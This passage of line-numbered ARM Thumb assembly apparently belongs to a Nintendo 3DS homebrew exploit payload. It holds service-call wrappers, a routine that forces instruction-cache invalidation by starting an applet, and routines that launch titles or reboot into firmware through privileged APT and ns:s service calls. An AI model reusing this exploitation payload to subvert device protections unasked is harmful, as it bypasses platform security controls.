APT_StoreSysMenuArg: @ r0=apt handle*, r1=buf*, r2=bufsize 1620 | push {r0, r1, r2, r3, r4, r5, lr} 1621 | blx get_cmdbufptr 1622 | mov r4, r0 1623 | 1624 | ldr r0, [sp, #0] 1625 | 1626 | ldr r5, =0x00370042 1627 | str r5, [r4, #0] 1628 | ldr r1, [sp, #8] 1629 | str r1, [r4, #4] 1630 | mov r2, #2 1631 | lsl r1, r1, #14 1632 | orr r1, r1, r2 1633 | str r1, [r4, #8] 1634 | ldr r1, [sp, #4] 1635 | str r1, [r4, #12] 1636 | 1637 | ldr r0, [r0] 1638 | blx svcSendSyncRequest 1639 | cmp r0, #0 1640 | bne APT_StoreSysMenuArg_end 1641 | ldr r0, [r4, #4] 1642 | 1643 | APT_StoreSysMenuArg_end: 1644 | add sp, sp, #16 1645 | pop {r4, r5, pc} 1646 | .pool 1647 | #endif 1648 | 1649 | APT_ReplySleepQuery: @ inr0=handle*, inr1=NS_APPID appID, inr2=u32 a 1650 | push {r0, r1, r2, r3, r4, r5, lr} 1651 | blx get_cmdbufptr 1652 | mov r4, r0 1653 | 1654 | ldr r0, [sp, #0] 1655 | 1656 | ldr r5, =0x3E0080 1657 | str r5, [r4, #0] 1658 | ldr r1, [sp, #4] 1659 | str r1, [r4, #4] 1660 | ldr r1, [sp, #8] 1661 | str r1, [r4, #8] 1662 | 1663 | ldr r0, [r0] 1664 | blx svcSendSyncRequest 1665 | cmp r0, #0 1666 | bne APT_ReplySleepQuery_end 1667 | ldr r0, [r4, #4] 1668 | 1669 | APT_ReplySleepQuery_end: 1670 | add sp, sp, #16 1671 | pop {r4, r5, pc} 1672 | .pool 1673 | 1674 | APT_AppletUtility: @ inr0=handle*, inr1=u32* out, inr2=u32 a, inr3=u32 size1, insp0=u8* buf1, insp4=u32 size2, insp8=u8* buf2 1675 | push {r0, r1, r2, r3, r4, r5, lr} 1676 | blx get_cmdbufptr 1677 | mov r4, r0 1678 | 1679 | ldr r0, [sp, #0] 1680 | 1681 | ldr r5, =0x004B00C2 1682 | str r5, [r4, #0] 1683 | ldr r1, [sp, #8] @ a 1684 | str r1, [r4, #4] 1685 | ldr r1, [sp, #12] @ size1 1686 | str r1, [r4, #8] 1687 | ldr r1, [sp, #32] @ size2 1688 | str r1, [r4, #12] 1689 | mov r2, #2 1690 | lsl r1, r1, #14 1691 | orr r1, r1, r2 1692 | mov r3, r4 1693 | ldr r3, =0x100 1694 | add r3, r3, r4 1695 | str r1, [r3, #0] 1696 | ldr r1, [sp, #36] 1697 | str r1, [r3, #4] @ buf2 1698 | 1699 | ldr r1, [sp, #12] @ size1 1700 | ldr r2, =0x402 1701 | lsl r1, r1, #14 1702 | orr r1, r1, r2 1703 | str r1, [r4, #16] 1704 | ldr r1, [sp, #28] @ buf1 1705 | str r1, [r4, #20] 1706 | 1707 | ldr r0, [r0] 1708 | blx svcSendSyncRequest 1709 | cmp r0, #0 1710 | bne APT_AppletUtility_end 1711 | ldr r0, [r4, #4] 1712 | cmp r0, #0 1713 | beq APT_AppletUtility_end 1714 | 1715 | ldr r1, [sp, #4] 1716 | cmp r1, #0 1717 | beq APT_AppletUtility_end 1718 | ldr r2, [r4, #8] 1719 | str r2, [r1] 1720 | 1721 | APT_AppletUtility_end: 1722 | add sp, sp, #16 1723 | pop {r4, r5, pc} 1724 | .pool 1725 | 1726 | APTipc_CheckNew3DS: @ inr0=handle*, inr1=u8* out 1727 | push {r0, r1, r2, r3, r4, r5, lr} 1728 | blx get_cmdbufptr 1729 | mov r4, r0 1730 | 1731 | ldr r0, [sp, #0] 1732 | 1733 | ldr r5, =0x01020000 1734 | str r5, [r4, #0] 1735 | 1736 | ldr r0, [r0] 1737 | blx svcSendSyncRequest 1738 | cmp r0, #0 1739 | bne APTipc_CheckNew3DS_end 1740 | ldr r0, [r4, #4] 1741 | cmp r0, #0 1742 | bne APTipc_CheckNew3DS_end 1743 | 1744 | ldrb r1, [r4, #8] 1745 | ldr r2, [sp, #4] 1746 | strb r1, [r2] 1747 | 1748 | APTipc_CheckNew3DS_end: 1749 | add sp, sp, #16 1750 | pop {r4, r5, pc} 1751 | .pool 1752 | 1753 | APT_CheckNew3DS: 1754 | push {r4, lr} 1755 | sub sp, sp, #12 1756 | 1757 | mov r4, #0 1758 | 1759 | add r0, sp, #0 1760 | bl srv_init 1761 | bl throw_fatalerr_errcheck 1762 | 1763 | add r0, sp, #0 1764 | add r1, sp, #4 1765 | bl APT_OpenSession 1766 | bl throw_fatalerr_errcheck 1767 | 1768 | add r0, sp, #4 1769 | add r1, sp, #8 1770 | bl APTipc_CheckNew3DS 1771 | cmp r0, #0 1772 | bne APT_CheckNew3DS_closesession 1773 | 1774 | mov r4, sp 1775 | ldrb r4, [r4, #8] 1776 | 1777 | APT_CheckNew3DS_closesession: 1778 | add r0, sp, #4 1779 | bl APT_CloseSession 1780 | 1781 | add r0, sp, #0 1782 | bl srv_shutdown 1783 | 1784 | mov r0, r4 1785 | add sp, sp, #12 1786 | pop {r4, pc} 1787 | .pool 1788 | 1789 | trigger_icache_invalidation: @ Trigger invalidating the entire icache via starting a new process(swkbd). This is based on smea's code for that. 1790 | push {r4, lr} 1791 | sub sp, sp, #0x28 1792 | ldr r0, [r7, #0x48] 1793 | mov r1, #0x8 1794 | tst r0, r1 1795 | bne trigger_icache_invalidation_begin 1796 | bl trigger_icache_invalidation_end 1797 | 1798 | trigger_icache_invalidation_begin: 1799 | ldr r0, [r7, #0x68] 1800 | cmp r0, #0 1801 | beq trigger_icache_invalidation_start 1802 | blx r0 1803 | bl trigger_icache_invalidation_end 1804 | 1805 | trigger_icache_invalidation_start: 1806 | add r0, sp, #0x20 1807 | bl srv_init 1808 | bl throw_fatalerr_errcheck 1809 | 1810 | add r0, sp, #0x20 1811 | add r1, sp, #0x24 1812 | bl APT_OpenSession 1813 | bl throw_fatalerr_errcheck 1814 | 1815 | add r0, sp, #0x24 1816 | ldr r1, [r7, #0x5c] 1817 | mov r2, #0 1818 | bl APT_ReplySleepQuery 1819 | bl throw_fatalerr_errcheck 1820 | 1821 | add r0, sp, #0x24 1822 | bl APT_CloseSession 1823 | 1824 | add r0, sp, #0x20 1825 | add r1, sp, #0x24 1826 | bl APT_OpenSession 1827 | bl throw_fatalerr_errcheck 1828 | 1829 | add r0, sp, #0x24 1830 | ldr r1, =0x401 1831 | bl APT_PreloadLibraryApplet 1832 | bl throw_fatalerr_errcheck 1833 | 1834 | add r0, sp, #0x24 1835 | bl APT_CloseSession 1836 | 1837 | mov r0, #0 1838 | str r0, [sp, #12] @ buf1/buf2 1839 | str r0, [sp, #16] 1840 | 1841 | add r0, sp, #0x20 1842 | add r1, sp, #0x24 1843 | bl APT_OpenSession 1844 | bl throw_fatalerr_errcheck 1845 | 1846 | add r0, sp, #12 1847 | str r0, [sp, #0] @ buf1* 1848 | mov r0, #1 1849 | str r0, [sp, #4] @ size2 1850 | add r0, sp, #16 1851 | str r0, [sp, #8] @ buf2* 1852 | add r0, sp, #0x24 @ handle* 1853 | mov r1, #0 @ out* 1854 | mov r2, #0x4 @ a 1855 | mov r3, #1 @ size1 1856 | bl APT_AppletUtility 1857 | bl throw_fatalerr_errcheck 1858 | 1859 | add r0, sp, #0x24 1860 | bl APT_CloseSession 1861 | 1862 | ldr r0, [r7, #0x48] 1863 | mov r1, #0x80 1864 | tst r0, r1 1865 | bne trigger_icache_invalidation_lpend 1866 | 1867 | trigger_icache_invalidation_lp: 1868 | add r0, sp, #0x20 1869 | add r1, sp, #0x24 1870 | bl APT_OpenSession 1871 | bl throw_fatalerr_errcheck 1872 | 1873 | add r0, sp, #0x24 1874 | ldr r1, =0x401 1875 | add r2, sp, #0 1876 | bl APT_IsRegistered 1877 | bl throw_fatalerr_errcheck 1878 | 1879 | add r0, sp, #0x24 1880 | bl APT_CloseSession 1881 | 1882 | mov r0, sp 1883 | ldrb r0, [r0, #0] 1884 | cmp r0, #0 1885 | bne trigger_icache_invalidation_lpend 1886 | ldr r0, =1000000 1887 | mov r1, #0 1888 | blx svcSleepThread 1889 | b trigger_icache_invalidation_lp 1890 | 1891 | trigger_icache_invalidation_lpend: 1892 | mov r0, #0 1893 | str r0, [sp, #12] @ buf1/buf2 1894 | str r0, [sp, #16] 1895 | 1896 | add r0, sp, #0x20 1897 | add r1, sp, #0x24 1898 | bl APT_OpenSession 1899 | bl throw_fatalerr_errcheck 1900 | 1901 | add r0, sp, #12 1902 | str r0, [sp, #0] @ buf1* 1903 | mov r0, #1 1904 | str r0, [sp, #4] @ size2 1905 | add r0, sp, #16 1906 | str r0, [sp, #8] @ buf2* 1907 | add r0, sp, #0x24 @ handle* 1908 | mov r1, #0 @ out* 1909 | mov r2, #0x4 @ a 1910 | mov r3, #1 @ size1 1911 | bl APT_AppletUtility 1912 | bl throw_fatalerr_errcheck 1913 | 1914 | add r0, sp, #0x24 1915 | bl APT_CloseSession 1916 | 1917 | add r0, sp, #0x20 1918 | add r1, sp, #0x24 1919 | bl APT_OpenSession 1920 | bl throw_fatalerr_errcheck 1921 | 1922 | add r0, sp, #0x24 1923 | ldr r1, =0x401 1924 | bl APT_FinishPreloadingLibraryApplet 1925 | bl throw_fatalerr_errcheck 1926 | 1927 | add r0, sp, #0x24 1928 | bl APT_CloseSession 1929 | 1930 | add r0, sp, #0x20 1931 | bl srv_shutdown 1932 | 1933 | trigger_icache_invalidation_end: 1934 | add sp, sp, #0x28 1935 | pop {r4, pc} 1936 | .pool 1937 | 1938 | getregion: @ inr0 = srv handle*. Returns region u8. 1939 | push {r0, lr} 1940 | sub sp, sp, #8 1941 | blx get_cfgu_servname 1942 | mov r2, r0 1943 | ldr r0, [sp, #8] @ srv handle 1944 | add r1, sp, #0 @ Out handle 1945 | bl srv_GetServiceHandle 1946 | bl throw_fatalerr_errcheck 1947 | 1948 | add r0, sp, #0 @ cfg handle 1949 | add r1, sp, #4 @ u8* out 1950 | mov r2, #0 1951 | str r2, [r1] 1952 | bl cfg_getregion 1953 | bl throw_fatalerr_errcheck 1954 | 1955 | ldr r0, [sp, #0] 1956 | blx svcCloseHandle 1957 | 1958 | mov r3, sp 1959 | ldrb r3, [r3, #4] 1960 | cmp r3, #8 1961 | blt getregion_end 1962 | bl fail_thumb 1963 | 1964 | getregion_end: 1965 | mov r0, r3 1966 | add sp, sp, #8 1967 | add sp, sp, #4 1968 | pop {pc} 1969 | .pool 1970 | 1971 | exit_launchtitle: 1972 | push {r4, lr} 1973 | sub sp, sp, #0x34 1974 | 1975 | mov r1, #3 1976 | ldr r0, [r7, #0x48] 1977 | mov r3, #0x40 1978 | and r3, r3, r0 1979 | lsr r3, r3, #4 1980 | lsr r0, r0, #1 1981 | and r0, r0, r1 1982 | orr r0, r0, r3 1983 | mov r4, r0 1984 | cmp r4, #0 1985 | bne exit_launchtitle_start 1986 | bl exit_launchtitle_end 1987 | 1988 | exit_launchtitle_start: 1989 | add r0, sp, #0x20 1990 | bl srv_init 1991 | bl throw_fatalerr_errcheck 1992 | 1993 | ldr r0, =0x42383841 @ DS INTERNET title 1994 | ldr r1, =0x00048005 1995 | str r0, [sp, #0x28] 1996 | str r1, [sp, #0x2c] 1997 | ldr r3, =0x00000102 1998 | str r3, [sp, #0x30] 1999 | 2000 | exit_launchtitle_begin: 2001 | cmp r4, #1 @ Titlelaunch with the current process being an applet. 2002 | bne exit_launchtitle_type2 2003 | 2004 | ldr r4, [r7, #0x5c] @ appID 2005 | cmp r4, #0 2006 | bne exit_launchtitle_type1 2007 | bl exit_launchtitle_endsrv 2008 | 2009 | exit_launchtitle_type1: 2010 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 2011 | bl GSPGPU_UnregisterInterruptRelayQueue 2012 | bl throw_fatalerr_errcheck 2013 | bl GSPGPU_ReleaseRight 2014 | bl throw_fatalerr_errcheck 2015 | 2016 | add r0, sp, #0x20 2017 | add r1, sp, #0x24 2018 | bl APT_OpenSession 2019 | bl throw_fatalerr_errcheck 2020 | 2021 | add r0, sp, #0x24 2022 | mov r1, r4 2023 | mov r2, #0 2024 | bl APT_ReplySleepQuery 2025 | bl throw_fatalerr_errcheck 2026 | 2027 | add r0, sp, #0x24 2028 | bl APT_CloseSession 2029 | 2030 | blx getadr_camappletuniqueids 2031 | mov r4, r0 2032 | add r0, sp, #0x20 2033 | bl getregion 2034 | ldrb r3, [r4, r0] 2035 | 2036 | add r1, sp, #8 2037 | mov r0, #2 2038 | str r0, [r1, #0] 2039 | str r3, [r1, #4] @ UniqueID(from the titleID) of the title "requesting" the title-launch. 2040 | ldr r2, [sp, #0x28] 2041 | ldr r3, [sp, #0x2c] 2042 | str r2, [r1, #8] @ programID low 2043 | str r3, [r1, #12] @ programID high 2044 | mov r0, #0 2045 | str r0, [r1, #16] 2046 | mov r0, #1 2047 | str r0, [r1, #20] 2048 | 2049 | add r0, sp, #0x20 2050 | add r1, sp, #0x24 2051 | bl APT_OpenSession 2052 | bl throw_fatalerr_errcheck 2053 | 2054 | add r0, sp, #0x24 @ apt handle* 2055 | add r1, sp, #8 @ buf* 2056 | mov r2, #0x18 @ size 2057 | bl APT_StoreSysMenuArg 2058 | bl throw_fatalerr_errcheck 2059 | 2060 | add r0, sp, #0x24 2061 | bl APT_CloseSession 2062 | 2063 | ldr r0, [r7, #0x48] 2064 | mov r1, #0x20 2065 | tst r0, r1 2066 | bne exit_launchtitle_type1_finish 2067 | 2068 | add r0, sp, #0x20 2069 | add r1, sp, #0x24 2070 | bl APT_OpenSession 2071 | bl throw_fatalerr_errcheck 2072 | 2073 | add r0, sp, #0x24 2074 | ldr r1, =0x101 2075 | bl APT_PrepareToStartSystemApplet 2076 | bl throw_fatalerr_errcheck 2077 | 2078 | add r0, sp, #0x24 2079 | bl APT_CloseSession 2080 | 2081 | add r0, sp, #0x20 2082 | add r1, sp, #0x24 2083 | bl APT_OpenSession 2084 | bl throw_fatalerr_errcheck 2085 | 2086 | add r0, sp, #0x24 @ handle* 2087 | ldr r1, =0x101 @ appid 2088 | mov r2, #0 @ inhandle 2089 | mov r3, #0 2090 | str r3, [sp, #0] @ bufsize/buf* 2091 | bl APT_StartSystemApplet 2092 | bl throw_fatalerr_errcheck 2093 | 2094 | add r0, sp, #0x24 2095 | bl APT_CloseSession 2096 | exit_launchtitle_type1_finish: 2097 | #endif 2098 | b exit_launchtitle_endsrv_procexit 2099 | 2100 | exit_launchtitle_type2: @ This section(and the APT code called here) is based on code by smea. (Titlelaunch with the current process being a regular application) 2101 | cmp r4, #2 2102 | bne exit_launchtitle_type3 2103 | 2104 | bl GSPGPU_UnregisterInterruptRelayQueue 2105 | bl throw_fatalerr_errcheck 2106 | bl GSPGPU_ReleaseRight 2107 | bl throw_fatalerr_errcheck 2108 | 2109 | /*mov r0, #0 2110 | str r0, [sp, #12] @ buf1/buf2 2111 | str r0, [sp, #16] 2112 | 2113 | mov r0, #0x10 2114 | str r0, [sp, #12] @ buf1 2115 | 2116 | add r0, sp, #0x20 2117 | add r1, sp, #0x24 2118 | bl APT_OpenSession 2119 | bl throw_fatalerr_errcheck 2120 | 2121 | add r0, sp, #12 2122 | str r0, [sp, #0] @ buf1* 2123 | mov r0, #1 2124 | str r0, [sp, #4] @ size2 2125 | add r0, sp, #16 2126 | str r0, [sp, #8] @ buf2* 2127 | add r0, sp, #0x24 @ handle* 2128 | mov r1, #0 @ out* 2129 | mov r2, #0x7 @ a 2130 | mov r3, #0x4 @ size1 2131 | bl APT_AppletUtility 2132 | bl throw_fatalerr_errcheck 2133 | 2134 | add r0, sp, #0x24 2135 | bl APT_CloseSession 2136 | 2137 | mov r0, #0 2138 | str r0, [sp, #12] @ buf1 2139 | 2140 | add r0, sp, #0x20 2141 | add r1, sp, #0x24 2142 | bl APT_OpenSession 2143 | bl throw_fatalerr_errcheck 2144 | 2145 | add r0, sp, #12 2146 | str r0, [sp, #0] @ buf1* 2147 | mov r0, #1 2148 | str r0, [sp, #4] @ size2 2149 | add r0, sp, #16 2150 | str r0, [sp, #8] @ buf2* 2151 | add r0, sp, #0x24 @ handle* 2152 | mov r1, #0 @ out* 2153 | mov r2, #0x4 @ a 2154 | mov r3, #0x1 @ size1 2155 | bl APT_AppletUtility 2156 | bl throw_fatalerr_errcheck 2157 | 2158 | add r0, sp, #0x24 2159 | bl APT_CloseSession*/ 2160 | 2161 | add r0, sp, #0x20 2162 | add r1, sp, #0x24 2163 | bl APT_OpenSession 2164 | bl throw_fatalerr_errcheck 2165 | 2166 | add r0, sp, #0x24 2167 | ldr r1, [sp, #0x28] @ programID 2168 | ldr r2, [sp, #0x2c] 2169 | mov r3, #0 2170 | str r3, [sp, #0] 2171 | bl APT_PrepareToDoApplicationJump 2172 | bl throw_fatalerr_errcheck 2173 | 2174 | add r0, sp, #0x24 2175 | bl APT_CloseSession 2176 | 2177 | ldr r0, [r7, #0x5c] 2178 | ldr r1, =0x300 2179 | cmp r0, r1 2180 | bne exit_launchtitle_type2_doappjump 2181 | 2182 | add r0, sp, #0x20 2183 | add r1, sp, #0x24 2184 | bl APT_OpenSession 2185 | bl throw_fatalerr_errcheck 2186 | 2187 | add r0, sp, #0x24 2188 | ldr r1, =0x300 2189 | mov r2, #0 2190 | bl APT_ReplySleepQuery 2191 | bl throw_fatalerr_errcheck 2192 | 2193 | add r0, sp, #0x24 2194 | bl APT_CloseSession 2195 | 2196 | exit_launchtitle_type2_doappjump: 2197 | add r0, sp, #0x20 2198 | add r1, sp, #0x24 2199 | bl APT_OpenSession 2200 | bl throw_fatalerr_errcheck 2201 | 2202 | add r0, sp, #0x24 2203 | mov r1, #0 2204 | mov r2, r1 2205 | add r3, sp, #4 2206 | str r3, [sp, #0] 2207 | bl APT_DoApplicationJump 2208 | bl throw_fatalerr_errcheck 2209 | 2210 | add r0, sp, #0x24 2211 | bl APT_CloseSession 2212 | b exit_launchtitle_endsrv_procexit 2213 | 2214 | exit_launchtitle_type3: @ Title-launch with using a "ns:s" service cmd received via APT. 2215 | cmp r4, #3 2216 | bne exit_launchtitle_type4 2217 | 2218 | bl GSPGPU_UnregisterInterruptRelayQueue 2219 | bl throw_fatalerr_errcheck 2220 | bl GSPGPU_ReleaseRight 2221 | bl throw_fatalerr_errcheck 2222 | 2223 | add r0, sp, #0x20 2224 | add r1, sp, #0x24 2225 | bl APT_OpenSession 2226 | bl throw_fatalerr_errcheck 2227 | 2228 | add r0, sp, #0x1c 2229 | str r0, [sp, #0] @ out handle* 2230 | add r0, sp, #0x24 @ apt handle* 2231 | ldr r1, [r7, #0x5c] @ appID 2232 | mov r2, #0 @ parambuf* 2233 | mov r3, #0 @ maxparambufsize 2234 | bl APT_ReceiveParameter 2235 | bl throw_fatalerr_errcheck 2236 | 2237 | add r0, sp, #0x24 2238 | bl APT_CloseSession 2239 | 2240 | add r0, sp, #0x1c 2241 | ldr r1, [sp, #0x28] @ programID 2242 | ldr r2, [sp, #0x2c] 2243 | bl nss_LaunchFIRM 2244 | bl throw_fatalerr_errcheck 2245 | 2246 | b exit_launchtitle_endsrv_procexit 2247 | 2248 | exit_launchtitle_type4: @ FIRM launch via APT:S Reboot cmd. 2249 | cmp r4, #4 2250 | bne exit_launchtitle_endsrv 2251 | 2252 | add r0, sp, #0x20 2253 | bl srv_shutdown 2254 | 2255 | add r0, sp, #0x20 2256 | bl getsrvhandle_allservices 2257 | 2258 | add r2, sp, #0x18 2259 | ldr r0, =(~0x3a545041) 2260 | ldr r1, =(~0x53) 2261 | mvn r0, r0 2262 | mvn r1, r1 2263 | str r0, [r2, #0] 2264 | str r1, [r2, #4] 2265 | 2266 | add r0, sp, #0x20 @ srv handle 2267 | add r1, sp, #4 @ Out handle 2268 | bl srv_GetServiceHandle @ Get APT:S service handle. 2269 | bl throw_fatalerr_errcheck 2270 | 2271 | add r0, sp, #4 2272 | ldr r3, [sp, #0x30] 2273 | str r3, [sp, #0] 2274 | ldr r2, [sp, #0x28] @ programID 2275 | ldr r3, [sp, #0x2c] 2276 | bl aptipc_reboot 2277 | bl throw_fatalerr_errcheck 2278 | 2279 | ldr r0, [sp, #4] 2280 | blx svcCloseHandle 2281 | 2282 | exit_launchtitle_endsrv_procexit: 2283 | add r0, sp, #0x20 2284 | bl srv_shutdown 2285 | 2286 | blx svcExitProcess 2287 | 2288 | exit_launchtitle_endsrv: 2289 | add r0, sp, #0x20 2290 | bl srv_shutdown 2291 | 2292 | exit_launchtitle_end: 2293 | add sp, sp, #0x34 2294 | pop {r4, pc} 2295 | .pool 2296 | 2297 | fsuser_initialize: 2298 | push {r0, r1, r2, r3, r4, r5, lr} 2299 | blx get_cmdbufptr 2300 | mov r4, r0 2301 | 2302 | ldr r0, [sp, #0] 2303 | 2304 | ldr r5, =0x08010002 2305 | str r5, [r4, #0] 2306 | mov r1, #0x20 2307 | str r1, [r4, #4] 2308 | ldr r0, [r0] 2309 | blx svcSendSyncRequest 2310 | cmp r0, #0 2311 | bne fsuser_initialize_end 2312 | ldr r0, [r4, #4] 2313 | 2314 | fsuser_initialize_end: 2315 | add sp, sp, #16 2316 | pop {r4, r5, pc} 2317 | .pool 2318 | 2319 | fsuser_openfiledirectly: @ r0=fsuser* handle, r1=archiveid, r2=lowpath bufptr*(utf16), r3=lowpath bufsize, sp0=openflags, sp4=file out handle* 2320 | push {r0, r1, r2, r3, r4, r5, lr} 2321 | blx get_cmdbufptr 2322 | mov r4, r0 2323 | 2324 | ldr r0, [sp, #0] 2325 | ldr r1, [sp, #4] 2326 | ldr r2, [sp, #8] 2327 | ldr r3, [sp, #12] 2328 | 2329 | ldr r5, =0x08030204 2330 | str r5, [r4, #0] 2331 | mov r5, #0 2332 | str r5, [r4, #4] @ transaction 2333 | str r1, [r4, #8] @ archiveid 2334 | mov r5, #1 2335 | str r5, [r4, #12] @ Archive LowPath.Type 2336 | str r5, [r4, #16] @ Archive LowPath.Size 2337 | mov r5, #4 2338 | str r5, [r4, #20] @ Archive LowPath.Type 2339 | str r3, [r4, #24] @ Archive LowPath.Size 2340 | ldr r5, [sp, #28] 2341 | str r5, [r4, #28] @ Openflags 2342 | mov r5, #0 2343 | str r5, [r4, #32] @ Attributes 2344 | ldr r5, =0x4802 2345 | str r5, [r4, #36] @ archive lowpath translate hdr/ptr 2346 | mov r5, sp 2347 | str r5, [r4, #40] 2348 | mov r5, #2 2349 | lsl r3, r3, #14 2350 | orr r3, r3, r5 2351 | str r3, [r4, #44] @ file lowpath translate hdr/ptr 2352 | str r2, [r4, #48] 2353 | 2354 | ldr r0, [r0] 2355 | blx svcSendSyncRequest 2356 | cmp r0, #0 2357 | bne fsuser_openfiledirectly_end 2358 | 2359 | ldr r0, [r4, #4] 2360 | ldr r2, [sp, #32] 2361 | ldr r1, [r4, #12] 2362 | cmp r0, #0 2363 | bne fsuser_openfiledirectly_end 2364 | str r1, [r2] 2365 | 2366 | fsuser_openfiledirectly_end: 2367 | add sp, sp, #16 2368 | pop {r4, r5, pc} 2369 | .pool 2370 | 2371 | fsfile_read: @ r0=filehandle*, r1=u32 filepos, r2=buf*, r3=size, sp0=u32* total transfersize 2372 | push {r0, r1, r2, r3, r4, r5, lr} 2373 | blx get_cmdbufptr 2374 | mov r4, r0 2375 | 2376 | ldr r0, [sp, #0] 2377 | ldr r1, [sp, #4] 2378 | ldr r2, [sp, #8] 2379 | ldr r3, [sp, #12] 2380 | 2381 | ldr r5, =0x080200C2 2382 | str r5, [r4, #0] 2383 | str r1, [r4, #4] @ filepos 2384 | mov r1, #0 2385 | str r1, [r4, #8] 2386 | str r3, [r4, #12] @ Size 2387 | mov r5, #12 2388 | lsl r3, r3, #4 2389 | orr r3, r3, r5 2390 | str r3, [r4, #16] @ buf lowpath translate hdr/ptr 2391 | str r2, [r4, #20] 2392 | 2393 | ldr r0, [r0] 2394 | blx svcSendSyncRequest 2395 | cmp r0, #0 2396 | bne fsfile_read_end 2397 | ldr r0, [r4, #4] 2398 | ldr r2, [sp, #28] 2399 | ldr r1, [r4, #8] 2400 | cmp r0, #0 2401 | bne fsfile_read_end 2402 | str r1, [r2] 2403 | 2404 | fsfile_read_end: 2405 | add sp, sp, #16 2406 | pop {r4, r5, pc} 2407 | .pool 2408 | 2409 | fsfile_write: @ r0=filehandle*, r1=u32 filepos, r2=buf*, r3=size, sp0=u32* total transfersize 2410 | push {r0, r1, r2, r3, r4, r5, lr} 2411 | blx get_cmdbufptr 2412 | mov r4, r0 2413 | 2414 | ldr r0, [sp, #0] 2415 | ldr r1, [sp, #4] 2416 | ldr r2, [sp, #8] 2417 | ldr r3, [sp, #12] 2418 | 2419 | ldr r5, =0x08030102 2420 | str r5, [r4, #0] 2421 | str r1, [r4, #4] @ filepos 2422 | mov r1, #0 2423 | str r1, [r4, #8] 2424 | str r3, [r4, #12] @ Size 2425 | ldr r1, =0x10001 2426 | str r1, [r4, #16] 2427 | mov r5, #10 2428 | lsl r3, r3, #4 2429 | orr r3, r3, r5 2430 | str r3, [r4, #20] @ buf lowpath translate hdr/ptr 2431 | str r2, [r4, #24] 2432 | 2433 | ldr r0, [r0] 2434 | blx svcSendSyncRequest 2435 | cmp r0, #0 2436 | bne fsfile_write_end 2437 | ldr r0, [r4, #4] 2438 | ldr r2, [sp, #28] 2439 | ldr r1, [r4, #8] 2440 | cmp r0, #0 2441 | bne fsfile_write_end 2442 | str r1, [r2] 2443 | 2444 | fsfile_write_end: 2445 | add sp, sp, #16 2446 | pop {r4, r5, pc} 2447 | .pool 2448 | 2449 | fsfile_close: @ r0=filehandle* 2450 | push {r0, r1, r2, r3, r4, r5, lr} 2451 | blx get_cmdbufptr 2452 | mov r4, r0 2453 | 2454 | ldr r0, [sp, #0] 2455 | 2456 | ldr r5, =0x08080000 2457 | str r5, [r4, #0] 2458 | 2459 | ldr r0, [r0] 2460 | blx svcSendSyncRequest 2461 | cmp r0, #0 2462 | bne fsfile_close_end 2463 | ldr r0, [r4, #4] 2464 | 2465 | fsfile_close_end: 2466 | add sp, sp, #16 2467 | pop {r4, r5, pc} 2468 | .pool 2469 | 2470 | srv_init: @ r0 = srv handle* 2471 | push {r4, r5, lr} 2472 | mov r4, r0 2473 | blx get_srv_portname 2474 | mov r1, r0 2475 | mov r0, r4 2476 | blx svcConnectToPort 2477 | cmp r0, #0 2478 | bne srv_init_end 2479 | 2480 | blx get_cmdbufptr 2481 | mov r5, r0 2482 | 2483 | ldr r1, =0x00010002 2484 | str r1, [r5, #0] 2485 | mov r1, #0x20 2486 | str r1, [r5, #4] 2487 | 2488 | ldr r0, [r4] 2489 | blx svcSendSyncRequest 2490 | cmp r0, #0 2491 | bne srv_init_end 2492 | ldr r0, [r5, #4] 2493 | 2494 | srv_init_end: 2495 | pop {r4, r5, pc} 2496 | .pool 2497 | 2498 | srv_shutdown: @ r0 = srv handle* 2499 | push {lr} 2500 | ldr r0, [r0] 2501 | blx svcCloseHandle 2502 | pop {pc} 2503 | 2504 | srv_GetServiceHandle: @ r0 = srv handle*, r1 = out handle*, r2 = servicename 2505 | push {r4, r5, r6, r7, lr} 2506 | mov r5, r0 2507 | mov r6, r1 2508 | mov r7, r2 2509 | 2510 | blx get_cmdbufptr 2511 | mov r4, r0 2512 | 2513 | ldr r1, =0x00050100 2514 | str r1, [r4, #0] 2515 | add r1, r4, #4 2516 | mov r2, #0 2517 | str r2, [r1, #0] 2518 | str r2, [r1, #4] 2519 | 2520 | srv_GetServiceHandle_servcpy: 2521 | ldrb r3, [r7, r2] 2522 | strb r3, [r1, r2] 2523 | cmp r3, #0 2524 | beq srv_GetServiceHandle_servcpy_end 2525 | add r2, r2, #1 2526 | cmp r2, #8 2527 | beq srv_GetServiceHandle_servcpy_end 2528 | b srv_GetServiceHandle_servcpy 2529 | 2530 | srv_GetServiceHandle_servcpy_end: 2531 | str r2, [r4, #12] 2532 | mov r2, #0 2533 | str r2, [r4, #16] 2534 | 2535 | ldr r0, [r5] 2536 | blx svcSendSyncRequest 2537 | cmp r0, #0 2538 | bne srv_GetServiceHandle_end 2539 | 2540 | ldr r0, [r4, #4] 2541 | cmp r0, #0 2542 | bne srv_GetServiceHandle_end 2543 | 2544 | ldr r1, [r4, #12] 2545 | str r1, [r6] 2546 | 2547 | srv_GetServiceHandle_end: 2548 | pop {r4, r5, r6, r7, pc} 2549 | .pool 2550 | 2551 | gsp_writereg: @ Write an u32 to a GPU reg. r0 = regaddr, r1 = u32 val. regaddr can be IO vaddr, or relative to 0x1EB00000. 2552 | push {lr} 2553 | sub sp, sp, #4 2554 | 2555 | ldr r3, =0x1EB00000 2556 | cmp r0, r3 2557 | blt gsp_writereg_start 2558 | sub r0, r0, r3 2559 | 2560 | gsp_writereg_start: 2561 | str r1, [sp, #0] 2562 | 2563 | mov r1, sp 2564 | mov r2, #4 2565 | bl GSPGPU_WriteHWRegs 2566 | 2567 | add sp, sp, #4 2568 | pop {pc} 2569 | .pool 2570 | 2571 | GSPGPU_WriteHWRegs: @ r0=gpuregadr, r1=buf*, r2=size 2572 | push {r0, r1, r2, r4, lr} 2573 | blx get_cmdbufptr 2574 | mov r4, r0 2575 | 2576 | ldr r1, =0x00010082 2577 | str r1, [r4, #0] 2578 | ldr r1, [sp, #0] 2579 | str r1, [r4, #4] 2580 | ldr r1, [sp, #8] 2581 | str r1, [r4, #8] 2582 | lsl r1, r1, #14 2583 | mov r2, #2 2584 | orr r1, r1, r2 2585 | str r1, [r4, #12] 2586 | ldr r1, [sp, #4] 2587 | str r1, [r4, #16] 2588 | 2589 | ldr r0, [r7, #0x58] 2590 | ldr r0, [r0] 2591 | blx svcSendSyncRequest 2592 | cmp r0, #0 2593 | bne GSPGPU_WriteHWRegs_end 2594 | ldr r0, [r4, #4] 2595 | 2596 | GSPGPU_WriteHWRegs_end: 2597 | add 